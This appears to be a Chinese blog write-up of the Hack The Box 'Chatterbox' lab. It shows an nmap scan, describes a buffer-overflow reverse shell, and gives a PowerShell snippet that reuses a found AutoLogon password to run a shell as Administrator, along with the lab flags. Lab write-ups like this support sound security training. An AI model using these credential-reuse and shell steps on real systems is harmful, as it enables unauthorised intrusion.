HTB-oscplike-Chatterbox

2024-05-18 21:20:57

HTB-oscplike-Chatterbox

今天就打了一个因为我的论文到现在还一个字没动捏

Chatterbox

medium难度的chatterbox 靶机IP 10.10.10.74

sudo nmap -sC -sV -A -p- --min-rate=5000 -Pn 10.10.10.74
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
9255/tcp open http AChat chat system httpd
9256/tcp open achat AChat chat system

铁searchsploit achat了看到一个缓冲区溢出能用里面还给出了payload生成方式
太贴心了把calc.exe换成执行我们的shell 起个http弹回shell 拿到user的flag
9695fa9785ffc2a0ee88a655c34e568e

提权老套路上心爱的扫描器可能这就是脚本小子的宿命吧
然后发现没扫到能用的漏洞内核漏洞寄了不过在winpeas里还看到了
??? Looking for AutoLogon credentials
Some AutoLogon credentials were found
DefaultUserName : Alfred
DefaultPassword : Welcome1!

看上去非常突兀那么有没有可能是凭据复用呢在stackoverflow找到方法
$secpasswd = ConvertTo-SecureString ‘Welcome1!’ -AsPlainText -Force
$mycreds = New-Object System.Management.Automation.PSCredential (‘Administrator’, $secpasswd)
Start-Process -FilePath “c:\users\public\shell.exe” -Credential $mycreds -NoNewWindow

弹回administrator的shell 拿到flag
f11b3d9ba594233eeba15956535cc545

HTB-oscplike-Chatterbox相关推荐

【Hack The Box】windows练习-- Chatterbox
HTB 学习笔记 [Hack The Box]windows练习-- Chatterbox
手机流量共享 linux,linux – 通过HTB共享带宽和优先处理实时流量,哪种方案更好？...
我想在我们的互联网线路上添加一些流量管理.在阅读了大量文档之后,我认为HFSC对我来说太复杂了(我不了解所有曲线的东西,我担心我永远不会把它弄好),CBQ不推荐,基本上HTB就是通往适合大多数人. 我 ...
linux htb 源代码,LINUX TC:HTB相关源码
LINUX TC:HTB相关源码收藏 HTB(hierarchy token buffer)是linux tc(traffic control)模块中的排队队列的一种.它的配置比CBQ要简单.同时实 ...
Linux 工具 | 第1篇：高级流控-TC+HTB+IFB+内核模块
作者:isshe 日期:2018.09.19 邮箱:i.sshe@outlook.com github: https://github.com/isshe 高级流控-TC+HTB+IFB+内核模块 1 ...
linux下TC+HTB流量控制
C规则涉及到队列(QUEUE) 分类器(CLASS) 过滤器(FILTER),filter划分的标志位可用U32或iptables的set-mark来实现 ) 一般是"控发"不控 ...
HTB打靶(Active Directory 101 Mantis)
namp扫描 Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-02 03:40 EST Stats: 0:01:28 elapsed; 0 hos ...
Linux TC 流量控制与排队规则 qdisc 树型结构详解（以HTB和RED为例）
1. 背景 Linux 操作系统中的流量控制器 TC (Traffic Control) 用于Linux内核的流量控制,它规定建立处理数据包的队列,并定义队列中的数据包被发送的方式,从而实现对流量的控 ...
漏洞payload 靶机_【HTB系列】靶机Bitlab的渗透测试
本文作者:是大方子(Ms08067实验室核心成员) ﹀﹀﹀ 0x00 本文目录反思与总结基本信息渗透测试过程补充 0x01 反思与总结 1. curl 发送GET参数化请求 2. 对反弹回 ...
HTB打靶(Active Directory 101 Reel)
nmap扫描目标 nmap -A -T4 10.10.10.77 Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-18 01:30 EST Nma ...
HTB靶场系列 Windows靶机 Granny靶机
勘探还是使用nmap进行侦擦先大致扫描 nmap 10.10.10.15 Starting Nmap 7.91 ( https://nmap.org ) at 2022-01-01 10:29 C ...

最新文章

热门文章